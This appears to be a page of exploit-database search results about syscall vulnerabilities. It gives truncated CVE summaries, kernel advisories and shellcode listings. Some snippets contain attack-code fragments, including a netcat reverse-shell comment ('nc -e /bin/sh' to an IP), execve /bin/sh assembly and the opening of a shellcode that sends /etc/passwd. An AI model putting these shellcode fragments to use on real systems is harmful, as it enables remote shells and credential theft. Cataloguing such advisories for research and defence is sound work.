Kaspersky Internet Security KLIF Driver NtAdjustTokenPrivileges_HANDLER Denial of Service

Summary A denial of service vulnerability exists in the syscall filtering functionality of Kaspersky Internet Security KLIF driver. A specially crafted native api call can cause a access violation in KLIF kernel driver resulting in local denial of service. An attacker can run program from user mo...

UBUNTU-CVE-2016-6136

Race condition in the auditlogsingleexecvearg function in kernel/auditsc.c in the Linux kernel through 4.7 allows local users to bypass intended character-set restrictions or disrupt system-call auditing by changing a certain string, aka a "double fetch" vulnerability...

Linux ARM / ARM64 - perf_event_open() Arbitrary Memory Read

Exploit for linux platform in category dos / poc perfeventopen offers to collect various pieces of information when an event occurs, including a user stack backtrace PERFSAMPLECALLCHAIN. To collect a user stack backtrace, the kernel grabs the userland register state if the event occured in...

Linux/x86-64 - Syscall Persistent Bind Shell + Multi-terminal + Password + Daemon Shellcode (83, 148

include include //| Exploit Title: Syscall Persistent Bind Shell + multi-terminal + password + daemon 83, 148, 177 bytes //| Date: 7/15/2016 //| Exploit Author: CripSlick //| Tested on: Kali 2.0 x86x64 //| Version: No Program Version, Only Syscalls Used //| email protected //| OffSec ID: OS-20614...

Linux/x86-64 - Syscall Persistent Bind Shell + (Multi-terminal) + Password + Daemon (83, 148, 177 bytes)

Linux/x86-64 - Syscall Persistent Bind Shell + Multi-terminal + Password + Daemon 83, 148, 177 bytes. Shellcode exploit for Linx86-64 platform include include //| Exploit Title: Syscall Persistent Bind Shell + multi-terminal + password + daemon 83, 148, 177 bytes //| Date: 7/15/2016 //| Exploit...

CVE-2016-6197

It was found that the unlink and rename functionality in overlayfs did not verify the upper dentry for staleness. A local, unprivileged user could use the rename syscall on overlayfs on top of xfs to panic or crash the system...

The vulnerability of the Linux operating system, which allows a malicious individual to gain access to protected information

The function rawcmdcopyout in the file /drivers/block/floppy.c contains an error in the handling of permissions for accessing memory pointers during the execution of the system call FDRAWCMD. This allows a malicious individual to gain access to information stored in the dynamic memory of the...

Linux/x86 - Bind Shell Port 4444/TCP Shellcode (98 bytes)

/ Linux x86 TCP Bind Shell Port 4444 98 bytes Author: sajith Tested on: i686 GNU/Linux Shellcode Length: 98 SLAE - 750 ------------c prog ---poc by sajith shetty---------- include include include include include int mainvoid int sockfiledes, clientfd; struct sockaddrin sockad; //1we need to creat...

Linux x86_64 /etc/passwd File Sender Shellcode

Linux x8664 /etc/passwd File Sender Shellcode. Shellcode exploit for linx86-64 platform / Title : Linux x8664 /etc/passwd file sender shellcode Date : 28-06-2016 Author : Roziul Hasan Khan Shifat Tested On : Ubuntu 14.04 LTS x8664 / / Disassembly of section .text: 0000000000400080 : 400080: 48 31...

Linux x86 /bin/sh Shellcode + ASLR Bruteforce

Linux x86 /bin/sh Shellcode + ASLR Bruteforce. Shellcode exploit for linx86 platform /bin/sh shellcode Ubuntu 14.0.4 32 bit + ASLR Bruteforce shellcodeandaslrbruteforce.c Tested on : Ubuntu 14.04 32 bits Author : Pawan Lal [email protected] vim shellcodeandaslrbruteforce.c include include inclu...

CentOS Update for kernel CESA-2016:1277 centos7

Check the version of kernel SPDX-FileCopyrightText: 2016 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription scriptoid"1.3.6.1.4.1.25623.1.0.882511";...

Linux Netcat Reverse Shell - 32bit - 77 bytes

Linux Netcat Reverse Shell - 32bit - 77 bytes. Shellcode exploit for linx86 platform include include //[email protected] //OffSec ID: OS-20614 / global start start: ;/bin//nc -e///bin/sh 10.0.0.6 99 xor eax,eax ; clear eax xor edx,edx ; clear edi ; 0xIN-LAST IN-FIRST push 0x3939393...

Linux x86_64 execve Shellcode - 15 bytes

Linux x8664 execve Shellcode - 15 bytes. Shellcode exploit for linx86-64 platform include include // OS-20614 // [email protected] / global start start: execve: mov rsi, rax mov rdx, rsi mov r12 , 0x68732f6e69622f push r12 push rsp pop rdi mov al, 0x3b syscall / unsigned char code ...

Oracle Linux 6 / 7 : Unbreakable Enterprise kernel (ELSA-2016-3565)

The remote Oracle Linux 6 / 7 host has packages installed that are affected by multiple vulnerabilities as referenced in the ELSA-2016-3565 advisory. - KEYS: Fix ASN.1 indefinite length object parsing This fixes CVE-2016-0758. David Howells Orabug: 23279020 CVE-2016-0758 - net: add validation for...

OracleVM 3.3 : kernel-uek (OVMSA-2016-0053)

The remote OracleVM system is missing necessary patches to address critical security updates : - KEYS: Fix ASN.1 indefinite length object parsing This fixes CVE-2016-0758. David Howells Orabug: 23279020 CVE-2016-0758 - net: add validation for the socket syscall protocol argument Hannes Frederic...

Oracle Linux 5 / 6 : Unbreakable Enterprise kernel (ELSA-2016-3566)

The remote Oracle Linux 5 / 6 host has packages installed that are affected by multiple vulnerabilities as referenced in the ELSA-2016-3566 advisory. - net: add validation for the socket syscall protocol argument Hannes Frederic Sowa Orabug: 23267976 CVE-2015-8543 CVE-2015-8543 - ipv6: addrconf:...

Linux/x86 - Bindshell with Configurable Port Shellcode (87 bytes)

/===================================================================/ / Filename: bindshell.c Author: JollyFrogs email protected License: This work is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License. Compile: gcc -m32 -fno-stack-protector -z execstack...

Linux 内核通过 BPF 系统调用提权漏洞

漏洞概要 4 月 27 日有安全研究人员在 bugs.chromium.org 站点提交了本地提权高 危漏洞。 Linux 内核版本大于等于 4.4 时,当内核编译了 CONFIGBPFSYSCALL 并 且 sysctl 中的 kernel.unprivilegedbpfdisabled 没有明确设置为 1 时,无特 权的代码可以使用 bpf 系统调用加载 eBPF socket 过滤程序,从而达到系统提 权的⺫的,而前面的两个条件在最新的 Linux 发行版 Ubuntu 16.04 桌面版和 服务器版本均满足,经过测试 Kali Rolling 发行版 内核 4.4.0...

Linux Kernel 4.4.x (Ubuntu 16.04) - double-fdput() bpf(BPF_PROG_LOAD) Privilege Escalation

Linux Kernel 4.4.x Ubuntu 16.04 - double-fdput bpfBPFPROGLOAD Privilege Escalation Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=808 In Linux =4.4, when the CONFIGBPFSYSCALL config option is set and the kernel.unprivilegedbpfdisabled sysctl is not explicitly set to 1 at runtim...

Apple Mac OSX iOS - SUID Binary Logic Error Kernel Code Execution

Apple Mac OSX iOS - SUID Binary Logic Error Kernel Code Execution Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=676 tl;dr The code responsible for loading a suid-binary following a call to the execve syscall invalidates the task port after first swapping the new vmmap into the...